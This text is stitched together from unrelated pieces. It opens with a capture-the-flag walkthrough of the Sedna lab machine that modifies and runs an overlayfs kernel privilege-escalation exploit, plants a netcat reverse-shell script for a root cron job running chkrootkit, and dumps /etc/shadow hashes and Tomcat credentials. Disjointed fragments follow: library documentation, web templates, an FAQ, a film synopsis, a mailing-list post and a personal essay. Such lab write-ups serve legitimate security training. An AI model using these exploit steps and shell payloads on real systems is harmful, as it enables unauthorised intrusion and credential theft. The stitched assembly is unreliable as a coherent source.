Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access | exploits/linux/local/37293.txt
I started a python web service and transferred the 37292.c file to the victim.
root@kali:~/Walkthroughs/hackfest2016/sedna# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [15/Apr/2019 16:27:14] "GET /37292.c HTTP/1.1" 200 -
www-data@Sedna:/tmp$ wget -O 37292.c <IP_ADDRESS>:4321/37292.c
wget -O 37292.c <IP_ADDRESS>:4321/37292.c
--2019-04-15 16:27:15-- http://<IP_ADDRESS>:4321/37292.c
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: '37292.c'
100%[======================================>] 5,119 --.-K/s in 0s
2019-04-15 16:27:15 (726 MB/s) - '37292.c' saved [5119/5119]
The file successfully compiled and seemed to run properly, but it didn't give me root. Turns out, the 'su' command (the last command in the exploit) is not available on the victim.
www-data@Sedna:/tmp$ gcc -o pwn 37292.c
www-data@Sedna:/tmp$ ./pwn
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
www-data@Sedna:/tmp$ su -
The program 'su' is currently not installed. To run 'su' please ask your administrator to install the package 'login'
I opened the exploit C code and replaced references to 'su' with 'sudo' (which is available and is also suid).
root@kali:~/Walkthroughs/hackfest2016/sedna# diff 37292.c 37292-1.c
54c54
< #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
---
> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/usr/bin/sudo\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
151,152c151,152
< execl("/bin/su","su",NULL);
< }
\ No newline at end of file
---
> execl("/usr/bin/sudo","sudo",NULL);
> }
I transferred the updated exploit to the victim and recompiled. This time, it worked! :]
www-data@Sedna:/tmp$ gcc -o pwn2 37292-1.c
www-data@Sedna:/tmp$ ./pwn2
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
And the flag from /root...
root@Sedna:/root# cat flag.txt
a10828bee17db751de4b936614558305
Pivoting
N/A
Clean Up
*** REMOVE PUBLIC KEY FROM /root/.ssh/authorized_keys ***
*** REMOVE /var/www/html/files/rev.php ***
*** KILL /var/www/html/files/loading ***
*** REMOVE /var/www/html/files/loading ***
*** REMOVE update, ofs-lib.so, pwn, 37292.c, pwn2, and 37292-1.c from /tmp ***
Additional Info
chkrootkit
In addition to the privilege escalation issue we found in Ubuntu, there is a known issue with the version of 'chkrootkit' located in /etc/chkrootkit.
www-data@Sedna:/etc/chkrootkit$ ./chkrootkit -V
chkrootkit version 0.49
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
The write-up in the Exploit Database states that chkrootkit has to be run by root to launch the exploit (typically through a cron job). Let's see if chkrootkit is set up to run in cron...
www-data@Sedna:/etc$ grep -ri 'chkrootkit' cron*
www-data@Sedna:/etc$
Nothing. 😞 It is possible a cronjob is set up in root's crontab, but we can't know for sure. Doesn't hurt to try it...
Started my reverse shell listener in Metasploit.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5434
LPORT => 5434
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5434
Created 'update' file with the following.
root@kali:~/Walkthroughs/hackfest2016/sedna# cat update
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 5434 >/tmp/f
Transferred the update file to /tmp on the victim using python SimpleHTTPServer and wget.
www-data@Sedna:/tmp$ wget -O update <IP_ADDRESS>:4321/update
wget -O update <IP_ADDRESS>:4321/update
--2019-04-15 19:48:34-- http://<IP_ADDRESS>:4321/update
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 90 [application/octet-stream]
Saving to: 'update'
100%[======================================>] 90 --.-K/s in 0s
2019-04-15 19:48:34 (23.8 MB/s) - 'update' saved [90/90]
IMPORTANT: We need to set our 'update' file as executable to get it to run when chkrootkit does, obviously.
www-data@Sedna:/tmp$ chmod +x update
Now we wait... but not for long...
www-data@Sedna:/tmp$ [*] Command shell session 7 opened (<IP_ADDRESS>:5434 -> <IP_ADDRESS>:40341) at 2019-04-15 19:55:02 -0400
www-data@Sedna:/tmp$ sessions 7
[*] Backgrounding session 3...
[*] Starting interaction with 7...
uid=0(root) gid=0(root) groups=0(root)
Turns out root did have 'chkrootkit' set up to run in his crontab every 5 minutes. :] I guess if you are going to run a vulnerable piece of software, you should at least run it often.
# crontab -l
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
*/5 * * * * /root/chkrootkit/chkrootkit
crackmeforpoints
Found an additional "flag" in the /etc/passwd file...
root@Sedna:~# cat /etc/passwd
[...]
crackmeforpoints:x:1000:1000::/home/crackmeforpoints:
[...]
The hash for the account is...
root@Sedna:~# cat /etc/shadow
[...]
crackmeforpoints:$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/:17104:0:99999:7:::
[...]
I copied the passwd and shadow files to my attacking machine using scp and ran unshadow. I also ran john with a big dictionary, but was not able to crack the password. ¯\_(ツ)_/¯
root@kali:~/Walkthroughs/hackfest2016/sedna# scp -i sedna root@<IP_ADDRESS>:/etc/passwd .
passwd 100% 1962 587.1KB/s 00:00
root@kali:~/Walkthroughs/hackfest2016/sedna# scp -i sedna root@<IP_ADDRESS>:/etc/shadow .
shadow 100% 1235 401.1KB/s 00:00
root@kali:~/Walkthroughs/hackfest2016/sedna# unshadow ./passwd ./shadow > crackme
tomcat-users.xml
Once we had root we were able to browse through protected configuration files in /etc including the tomcat-users.xml file in /etc/tomcat7. The credentials in this file could be used on the Tomcat service listening on TCP port 8080.
root@Sedna:/etc/tomcat7# cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users>
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
-->
<!--
NOTE: The sample user and role entries below are wrapped in a comment
and thus are ignored when reading this file. Do not forget to remove
<!.. ..> that surrounds them.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
<user username="role1" password="tomcat" roles="role1"/>
-->
<role rolename="manager-gui"/>
<user username="tomcat" password="submitthisforpoints" roles="manager-gui"/>
</tomcat-users>


No message received.
(Note that this page is just an illustration. No actual message was delivered anywhere.)


Please read the FAQ thoroughly before asking for support.
Thank you. Accuracy of the data is important to me. Please open a ticket on GitHub.
No, I'm not. You've got filters on, or you've turned off a source. If you're absolutely convinced that it's missing, open an issue on GitHub.
Not possible, and no plans to do that.
No, but you can. See here.
Clear your cache. "Clear your cache" doesn't mean hard reload. It means go into your browser's settings and clear your cache. If that doesn't help, it's possible your localStorage may have become corrupted. You can clear your local storage by clicking the button below, but be aware that doing so will erase all your saved data
If that still doesn't help, open an issue on GitHub. Please include the device you're using, operating system, version of operating system, browser, and version of browser.
Search the issues on GitHub to make sure nobody's suggested it yet. If not, please feel free. I make no guarantees.
If you still require assistance, please search issues on GitHub to see if someone may have had the same problem or idea. If not, feel free to open a new issue.


Currently, MNE-Python provides a set of functions
allowing to compute spectral analyses in the source space.
Many these functions return mne.SourceEstimate()
objects or collections thereof.
Note
The mne.SourceEstimate()
object was initially designed for classical time-domain analyses.
In this context, the time axis can actually refer to frequencies. This might be improved
in the future.
The following functions are based on minimum norm estimates (MNE).
mne.minimum_norm.compute_source_psd_epochs()
returns single-trial power spectral density (PSD) esitmates using multi-tapers.
Here, the time axis actually refers to frequencies, even if labeled as time.mne.minimum_norm.compute_source_psd()
returns power spectral density (PSD) esitmates from continuous data usign FFT.
Here, the time axis actually refers to frequencies, even if labeled as time.mne.minimum_norm.source_band_induced_power()
returns a collection of time-domain mne.SourceEstimate()
for each
frequency band, based on Morlet-Wavelets.mne.minimum_norm.source_induced_power()
returns power and inter-trial-coherence (ITC) as raw numpy arrays, based on Morlet-Wavelets.Alternatively, the source power spectral density can also be estimated using the DICS beamformer,
see mne.beamformer.dics_source_power()
.


importance: 5
Write the code to paint all diagonal table cells in red.
You’ll need to get all diagonal  from the
 and paint them using the code:

// td should be the reference to the table cell td.style.backgroundColor = 'red';
The result should be:
[iframe src=“solution” height=180]


Tales & Alerts¶
Tales are the heart and soul of what makes Tattle work. Tales are definitions for what should qualify the alert, and what actions to take once we have a true positive.
Here is an example Tale
Example
name: "Disk Usage over 90 %"
description: "Disk Usage High on a host or series of hosts"
severity: "High"
tql_query: "summary.fullest_disk:>=90 | terms name=server, field=host.raw | avg name=fullest_disk, field=summary.fullest_disk"
index: "system-metrics-*"
disabled: 0
timeperiod:
start: "now-1h"
end: "now"
alert:
type: "frequency"
relation: "gt"
qty: 0
realert: "10s"
return_matches:
length: 10
random: true
action:
pagerduty:
enabled: 1
service_key: "TattleAlerts"
once_per_match:
match_key: "key"
email:
enabled: 1
once_per_match:
match_key: "key"
to<EMAIL_ADDRESS>In the above example, you will notice the tql_query
config option. This is a short hand query syntax that Tattle uses to create the Elasticsearch DSL Query with Aggregation support. The first part (before the first |
) is straight Lucene syntax. You are probably familiar with this if you have ever used Kibana or worked with Lucene before. The parts after the first |
are aggregations in shorthand.
You will notice there are two aggregations in this query. The |
‘s denote these will be nested aggregations. The terms
query will run before the avg
query.
Next you will notice the timeperiod section. This section denotes the start and end time for the ‘rolling’ windows this alert will utilize. In this case, the window for this search will be whatever time ‘now’ is, minus 1 hour, and the end time for the query will be ‘now’.
Then we have the alert type. In this case it is freqeuency
which means that if we have a ‘number_of_events’ beyond our threshold, then we will use this to trigger our action
below. The thresholds in this case are a ‘number_of_events’ that are greater than or equal to
to 10
in the last 1 hour
( now-1h
).
Next up is the action
. If our alert has triggered has met its threshold, the next thing to do is do something about it. In this case we have two actions, one is to send the alert to PagerDuty, the second is to email us.
For more information about the setup of an alert, please see the alerts section.
Please be sure to check out the Tales & Alerts section for more information on creating and configuring Tales.


--- title : "About" hidemeta : true comments : false #optional ShowShareButtons: false ---
Marine biologist


当前目录：
${pathname}
{if prevpath}
回到上一级目录
{/if} {list folders as item}
${item}
{/list} {list files as item}
${item}
{/list}
{if qrcode}
${qrcode}
扫描二维码在移动设备打开
{/if}
切换到其他ip：
{list ips as ip}
${ip + ':' + port}
{/list}


|
Rendu
An OpenGL rendering engine for experimentations
|
Represents a 3D environment composed of objects, a background and additional environment lighting informations. More...
#include <Scene.hpp>
Public Types | |
| enum | Background { Background::COLOR, Background::IMAGE, Background::SKYBOX, Background::ATMOSPHERE } |
| The background mode to use for a scene. More... | |
Public Member Functions | |
| Scene (const std::string &name) | |
| void | init (Storage mode) |
| void | update (double fullTime, double frameTime) |
| std::vector< KeyValues > | encode () const |
| const BoundingBox & | boundingBox () const |
| const Camera & | viewpoint () const |
| void | setViewpoint (const Camera &cam) |
| Scene (const Scene &)=delete | |
| Scene & | operator= (const Scene &)=delete |
| Scene (Scene &&)=delete | |
| Scene & | operator= (Scene &&)=delete |
Public Attributes | |
| std::vector< Object > | objects |
| The objects in the scene. | |
| std::vector< std::shared_ptr< Light > > | lights |
| Lights present in the scene. | |
| Background | backgroundMode = Background::COLOR |
| The background mode (see enum). | |
| glm::vec3 | backgroundColor = glm::vec3(0.0f) |
| Color to use if the background mode is COLOR. | |
| std::unique_ptr< Object > | background |
| Background object, containing the geometry and optional textures to use. | |
| std::vector< glm::vec3 > | backgroundIrradiance |
| RGB SH-coefficients of the background irradiance, computed using SHExtractor. More... | |
| const Texture * | backgroundReflection = nullptr |
| Cubemap texture ID of the background radiance. | |
Private Member Functions | |
| void | loadObject (const KeyValues ¶ms, Storage mode) |
| void | loadLight (const KeyValues ¶ms, Storage mode) |
| void | loadCamera (const KeyValues ¶ms, Storage mode) |
| void | loadBackground (const KeyValues ¶ms, Storage mode) |
| void | loadScene (const KeyValues ¶ms, Storage mode) |
| BoundingBox | computeBoundingBox (bool onlyShadowCasters=false) |
Private Attributes | |
| Camera | _camera |
| The initial viewpoint on the scene. | |
| BoundingBox | _bbox |
| The scene bounding box. | |
| glm::mat4 | _sceneModel = glm::mat4(1.0f) |
| The scene global transformation. | |
| std::string | _name |
| The scene file name. | |
| bool | _loaded = false |
| Has the scene already been loaded from disk. | |
Represents a 3D environment composed of objects, a background and additional environment lighting informations.
|
strong |
|
explicit |
Constructor from a scene description file. The expected format is as follow:
* scene: probe: texturetype: texturename (see Codable::decodeTexture for details) irradiance: shcoeffsfilename translation: X,Y,Z scaling: scale orientation: axisX,axisY,axisZ angle * background: bgtype: value * object: ... (see Object::decode documentation) ... * lighttype: ... (see Light::decode documentation) ...
where lighttype is one of point, directional, spot and bgtype is one of
color: R,G,B image: texturetype: texturename cube: texturetype: texturename sun: dirX,dirY,dirZ
| name | the name of the scene description file |
|
delete |
Copy constructor.
|
delete |
Move constructor.
|
inline |
Get the scene bounding box.
|
private |
Compute the bounding box of the scene, optionaly excluding objects that do not cast shadows.
| onlyShadowCasters | denote if only objects that are allowed to cast shadows should be taken into account |
| std::vector< KeyValues > Scene::encode | ( | ) | const |
Convert a scene to a Codable-compliant list of key-values tuples. Can be used for serialization.
| void Scene::init | ( | Storage | mode | ) |
Performs initialization against the graphics API, loading data.
| mode | should the data be stored on the CPU, GPU, or both. |
Load the scene background informations from its serialized representation.
| params | the background parameters |
| mode | the storage mode (CPU, GPU, both) |
Load the scene camera informations from its serialized representation.
| params | the camera parameters |
| mode | the storage mode (CPU, GPU, both) (unused) |
Load a point light in the scene from its serialized representation.
| params | the point light parameters |
| mode | the storage mode (CPU, GPU, both) (unused) |
Load an object in the scene from its serialized representation.
| params | the object parameters |
| mode | the storage mode (CPU, GPU, both) |
Load the scene informations from its serialized representation.
| params | the scene parameters |
| mode | the storage mode (CPU, GPU, both) |
Copy assignment.
Move assignment.
|
inline |
Set the initial viewpoint on the scene.
| cam | the new camera |
| void Scene::update | ( | double | fullTime, |
| double | frameTime | ||
| ) |
Update the animations in the scene.
| fullTime | the time elapsed since the beginning of the render loop |
| frameTime | the duration of the last frame |
|
inline |
Get the initial viewpoint on the scene.
| std::vector<glm::vec3> Scene::backgroundIrradiance |
RGB SH-coefficients of the background irradiance, computed using SHExtractor.


Returns true if the predicate holds for exactly one of the elements in the list.
Arguments:
list: An expression that returns a list.
variable: This is the variable that can be used from the predicate.
predicate: A predicate that is tested against all items in the list.
Example Query:
MATCH p=(n)-->(b)
WHERE n.name='Alice' AND SINGLE (var IN nodes(p) WHERE var.eyes = "blue")
RETURN p


@(title: String)(currentUser:Person)(project: Project)
You have been invited to join project<EMAIL_ADDRESS>as @if(role.equals(Role.OWNER)) {an} else {a} @role .
There are no projects to show


{% load static %}
An American man marries a Serbian immigrant who fears that she will turn into the cat person of her homeland's fables if they are intimate together.
When naval construction designer Oliver Reed sees Serbian born beauty Irena Dubrovna at a zoo, he flirts with her, and soon they fall in love and marry. Complications arise because Irena believes she is the victim of an ancient Serbian curse that causes her to turn into a panther if a man tries to make love to her, and the marriage is not consummated. Oliver sends Irena for treatment with psychiatrist Dr. Louis Judd, and Oliver seeks "consolation" with his colleague Alice Moore. Irena becomes jealous when she learns that she may be losing Oliver to Alice.
The technique of slowly building tension to a jarring shock which turns out to be something completely harmless and benign became known as a "Lewton Bus" after a famous scene in this movie created by producer Val Lewton.
In her scene, Elizabeth Russell is very reminiscent of the later, TV series original cat woman, Julie Newmar. Interestingly enough, Russell's part is credited as "The Cat Woman". It leaves to wonder whether the Batman (1966) producers were indeed inspired by this lady when casting their own similar role.


A collaborative timer for your mob team
mobti.me/
Enter your mob url path
Get Started
More
It's
MobTime
‐ Here's a quick list of things you should know ‐
Free
Basic features will be free forever
No hidden costs
Your data will never be shared
Collaborative
Realtime websocket data
Manage your mob rotation
Track the goals
Open-Source
Source on
github
Free hosting by
MrBarry.com
Can be self-hosted
0
Timers
Live right now
0
Live Users
0
per timer
0
In a Mob
0
per timer
0
Live Goals
0
per timer
Created with love by
Alex Barry
, and friends at
Vehikl Inc
.


isStickyFooter() makes your footer section stick to the bottom of either the page or the browser window.
For the demo purpose, you can add contents to the body section of this page by clicking on the "Add Content" button.
You can also change the option. The default value is "true".
If you want to check the option behavior, you need to add contents to the bottom of pages until a vertical scrollbar gets appeared.
And then, toggle the option button.
For details, check the github repository. [https://github.com/talkerland/webdevhelper]


Please select your title
Selected value must be Mr
Select title
Mr
Mrs
Miss
Ms
Please provide your first name
Length must be at least 3 characters
Validation triggered by ajax response
Please provide your last name
Length must be at least 3 characters
Please provide your email address
Invalid email address
Please choose your password
Length must be at least 6 characters, one capital letter and one number
Passwords do not match
Please confirm your password
Length must be at least 5 characters
You must agree to our newsletter and conditions
I agree to the terms and conditions
PROCESSING
Custom action and serialize attribute
Please select your title
Selected value must be Mr
Select title
Mr
Mrs
Miss
Ms
PROCESSING


QuoteBuddy
Choose a voice
Jack
Isla
Harry
Alice
Linda
John
Oran
Rose
Mason
Let's hear it!
Click the button to generate a random quote!


Date: Thu, 18 Dec 1997 19:21:59 GMT Server: Stronghold/1.3.4 Ben-SSL/1.3 Apache/1.1.3 Content-type: text/html Content-length: 6336 Last-modified: Fri, 29 Aug 1997 03:10:26 GMT
|
Contact Us To contact America Service Group Inc. or Prison Health Services, Inc. about our web site, company, or to request Investor Information, please e-mail us at any of the addresses below. General Information<EMAIL_ADDRESS>Career Opportunities<EMAIL_ADDRESS>Web Site Feedback<EMAIL_ADDRESS>Investor Information<EMAIL_ADDRESS>Top of PageHome | Company
Overview | Investor Relations | Services
|
||


This package contains classes to represent Java bytecode instructions.
Not every instruction currently has its own class. Only groups of instructions
that refer to the constant pool get their own representations.
While the package is sufficient for the current needs of the ProGuard
application, it may very well be reorganised and extended in the future.


TypeScript and PouchDB
A simple project for learning the basic concept of pouchdb. The repository can be found at
Github.
Insert new item in DB
Submit
Local Storage
Name
Date
ID
Rev


Setup the devon4J reference application (MyThaiStar) and build your own devon4J application from scratch (JumpTheQueue)
View the demo tutorial View the demo tutorial
There is currently one rather technical demo, simulating a few use cases of a restaurant management application. My Thai Star.


If you’re feeling extra anxiety these days, due to the Covid-19 coronavirus, you’re not alone. Meditation can help us regulate our own emotions, relax and keep calm.
Great peace can come from taking a step back, creating space between you and your feelings. Not to deny them or to judge them, but to notice them and accept them.
Thoughts are just stories. They’re stories about what’s happened in the past or what might happen in the future, or they’re interpretations (stories) about a situation we’re in.
No matter how out-of-control your day is, no matter how stressful your job or life becomes, the act of being present can become an oasis. It can change your life, and it’s incredibly simple.


|
Hi {{listing.user.displayName}}, You have received a reply regarding the following Space Go to the Messages section of your Spacenow account to view and reply to this message. As always, you can see all of your messages on your Spaces dashboard. Sincerely, |
||
|
Powered by Space Now |


HPUtils Reference
HPUtils – Hippo Foundry’s iOS Utility Classes
HPUtils is a static iOS library from Hippo Foundry. Main functionality of the library revolves around network requests and image processing. A list of available functionality is below:
- Fully managed, NSOperation-based request and network connectivity handling
- Multi-threaded image processing for resizing and storage
- Disk-based, persistent cache system
- Authentication management, keychain integration and automated HTTP BasicAuth
- Shared location manager with cache and intelligent requirement degradation
- Amazon S3 file upload support
- Automated crash logging and reporting
- Grid-based UIScrollView subclass with support for high performance cell recycling
- UITableView subclass with support for automated request cancellation as the table is scrolled and cells are recycled
- NSString category with SHA1, UUID, MD5 support
- NSObject category for parsing NSDate, UIColor, NSURL, NSInteger and CGFloat values from any object using keys
- UIDevice category for determining device type and capabilities
- NSData category for base64 support
We also provide some utility classes for activity indication and a bunch of categories to extend SDK components.
Documented classes are listed below, but documentation of the project is currently a work in progress. For any questions or suggestions, email Taylan Pince.
Installation
HPUtils is no longer available for pre-iOS4 projects. To add the static library to your builds, simply copy the HPUtils.framework directory to an appropriate location on your project path and add it through Xcode. You will also have to update your build settings and make sure -ObjC and -all_load are added under Other Linker Flags. Finally, make sure you have the following libraries included:
- Security.framework
- CoreLocation.framework
- SystemConfiguration.framework
- CrashReporter.framework – can be obtained from Plausible Labs
You can then include the following import statement and you will be good to go:
#import <HPUtils/HPUtils.h>
You can view a list of documented class references below.


CSV Generator H2H
Esay test H2H application with ready generated csv
Form Generate FK
Please fill requirement input for generate csv
Total Data
Total Child of Object
Submit


[gecode-users] Order of branching
Christian Schulte
cschulte at kth.se
Thu Jan 7 16:22:18 CET 2016
Hi,
While in principle doable (one could call it INT_VAR_PATH or something), I
am not really convinced that one should actually do it: stuff to be added
must be reasonably reusable and I am not really sure that this is the case
here.
There is a tradeoff here: Adding something to Gecode's integer module comes
at a price because the system gets bigger, requires more doc and so on. It
might be cheaper to not add it but leave it to the user. After all, you can
do it easily enough in Gecode yourself. That is the very reason why Gecode
has the extensive documentation of how to do stuff yourself.
But if there are more users who express interest I am willing to consider...
Anyone?
Cheers
Christian
--
Christian Schulte, www.gecode.org/~schulte
Professor of Computer Science, KTH, cschulte at kth.se
Expert Researcher, SICS, cschulte at sics.se
-----Original Message-----
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of Philippe
Sent: Friday, December 25, 2015 12:19 PM
To: users at gecode.org
Subject: Re: [gecode-users] Order of branching
Hi,
Thanks for the "Knights" example.
Could this be an improvement of Gecode than developing this brancher so that
we can call via the branch method? If so how can we call the variable
selection strategy?
Merry Chrismath !
Philippe
_______________________________________________
Gecode users mailing list
users at gecode.org
https://www.gecode.org/mailman/listinfo/gecode-users
More information about the users
mailing list


Welcome to HTML Anatomy 101. In this class, you will do the learn how to dissect an HTML page from the head to the footer, add a new feature to Sublime Text, and mark up your previous blog posts with semantic HTML tags. So get your gloves on, open your textbook the HTML docs HTML docs and begin!
Decide who will drive and who will navigate. Then each of you will need to:
NOTE: You should decide whether to trade roles in each release or change roles halfway through the session. If you decide to switch from release to release, you'll want to share code easily using a collaborative editor (or even a simple Google doc).


Quizdown Demo Page
---
primary_color: green
secondary_color: lightgray
title_color: white
shuffle_questions: false
shuffle_answers: true
---
# What is the capital of Berlin?
In this question you are asked a **very** difficult question.
> Do some research!
1. [ ] Stuttgart
1. [ ] Cologne
1. [ ] Düsseldorf
1. [x] Berlin
# What is the capital of Berlin?
---
shuffle_answers: false
---
In this question you are asked a **very** difficult question.
The questions are not shuffled.
> Do some research!
1. [ ] Stuttgart
1. [ ] Cologne
1. [ ] Düsseldorf
1. [x] Berlin
# What day is today?
- [ ] monday
- [ ] tuesday
- [ ] saturday
- [x] don't know
# Put the [days](https://en.wikipedia.org/wiki/Day) in order!
> Monday is the *first* day of the week.
1. Monday
2. Tuesday
3. Wednesday
4. Friday
5. Saturday
# Please bring the following into order!
Below you find the steps of the machine learning workflow. Do you find the **correct order**?
> The model selection happens before the `final model evaluaton`!
1. Get the data
2. Explore the data
3. Train test split with `train_test_split()`
4. Feature engineering
5. Model selection
6. Model evaluation
7. Deployment
# This question has no answer!
- [ ] `4`
- [ ] `6`
- [ ] `None`
- [ ] `9`
- [ ] `4`
- [ ] `6`
- [ ] `None`
- [ ] `9`
# What is the value of `y` and `x`?
```python
x = 2+2
y = x+2
print(y)
```
- [x] `4`
- [x] `6`
- [ ] `None`


A rant on living a boring lifestyle.
One day when I was about 10 years old, I approached my mom. Like most mothers, she knew something was wrong. I had a scowl on my face, and I can still remember how the conversation went.
Me : “Mom?”
Mom: “What is it”?”
Me: “I’m tired of going to school and doing the same thing every day.”
The conversation eventually tailed off with her signature gentle dismissal. It was an attitude towards the world that I had become accustomed to. “That’s life, it’s how many people in the world choose to live”, she said before she walked away. That sentence stuck with me for years; it was with me through high-school, and college.
As you might have guessed, I’ve never had an appreciation for a boring lifestyle. And yet, most of us, myself included, fall into the trap of doing the same thing, day in, and day out. On the weekdays we go to school or work, and on the weekends, we drink to “let loose”. In other words, we drink to avoid doing work all week; to avoid a seemingly monotonous lifestyle, while unwittingly creating the cycle of working and drinking. It's ironic.
The dissonance of disliking monotony, and living a lifestyle that encourages it, is something that I often find myself struggling with. It’s something that is hard to break out of, not because it is a cycle that I have consciously chosen to participate in, but because my environment pushes me in that direction. Think about it. High-school has pushed me to go to college, and I can’t succeed in college without studying for hours on end. When I’m done studying for hours on end, I end up relieving stress with some vice: likely alcohol, eating, video-games - you get the idea.
There’s nothing seriously wrong with any of those things every once in a while, but once they’re done regularly, they contribute to a monotonous lifestyle. It's depressing.
There’s a reason for why people come back from vacations overseas feeling refreshed and bubbly: they broke out of their default settings.
In 2005, David Foster Wallace gave a commencement speech to Kenyon College. In it, he talked about the need to break out of our default settings; the need to avoid going through life unconscious; empirically alone; monotonous. At the time I listened to the speech, it resonated with me in ways that I didn’t expect it to. Going through life unconscious has been one of my biggest fears, and yet I’m afraid that I may have already been unconscious for most of my life. My only hope is that I can move forward by participating in more activities that don’t involve drinking, or playing video-games.


Materialize is a UI component library created with CSS, JavaScript, and HTML. Materialize reusable UI components help in constructing attractive, consistent, and functional web pages and web apps while adhering to modern web design principles such as browser portability, device independence, and graceful degradation.
Materialize has in-built responsive designing so that the website created using Materialize will redesign itself as per the device size. Materialize classes are created in such a way that the website can fit any screen size.
Local Installation: You can download the materialize.min.css and materialize.min.js files on your local machine and include it in your HTML code.
CDN Based Version: You can include the materialize.min.css and materialize.min.js files into your HTML code directly from the Content Delivery Network (CDN).
The latest versions of Apple Safari, Google Chrome, Mozilla Firefox, and Opera all support many HTML5 features and Internet Explorer 9.0 will also have support for some HTML5 functionality.


---
layout: post
title: The YC Dilemma - thoughts about YC Reject
date: 2011-04-11 01:56:00.000000000 -05:00
comments: true
categories: []
published: true
---
Paul Graham likes to say that the most important quality of a founder that they (YC) is looking for is determination...aka being
Relentlessly Resourceful.
Well, one of the things that have always struck me about
YC's selection process, is that they are almost self-selecting for a 50:50 success rate (success in the sense of picking the winners).
I am not saying that 50% of their companies will go bust, but given that we know that at least 1,000 applied to the batch before the last one (can't find reference, but it's out there somewhere), and YC only chose 40+, there is a high likelihood that the rejection will be a catalyst to many companies to prove YC + team wrong. Even if just 0.5% of those rejected (950) are the ones that prove them wrong, that's still about 45 companies.
If those 45 companies turn out to be 'significant misses' on YC's part, that works out to about a 50:50 success ratio (where they successfully only chose 50% of likely successful companies from the entire batch).
However, given those odds, don't just assume that because 950 startups were rejected - the most successful of those will migrate to YC Reject and as such YC Reject will be as successful as YC. But it is possible that YC Reject could tap into that latent pool of PG's ideal candidates that were somehow missed by PG himself.
Interesting times ahead.
If you found this interesting, you should follow me on Twitter.


Tip Calculator
How much was your bill?
$
How was your service?
5% - Terrible
10% - Bad
15% - Ok
20% - Good
30% - Excellent
How many people are sharing the bill?
People
CALCULATE
Tip Amount
$
0.00
each


| DevIL Documentation | Home | Previous | Next |
The iluBlurGaussian function blurs an image.
ILboolean iluBlurGaussian(
ILuint Iter
);
iluBlurGaussian blurs an image using a Gaussian convolution filter, which usually gives better results than the filter used by iluBlurAvg. The filter is applied up to Iter number of times, giving more of a blurring effect the higher Iter is. The 3x3 convolution filter used to do the average blur is:
ILU_ILLEGAL_OPERATION - There is currently no image bound. Use ilGenImages and ilBindImage before calling this function.
ilGenImages, ilBindImage, iluBlurAvg, iluSharpen


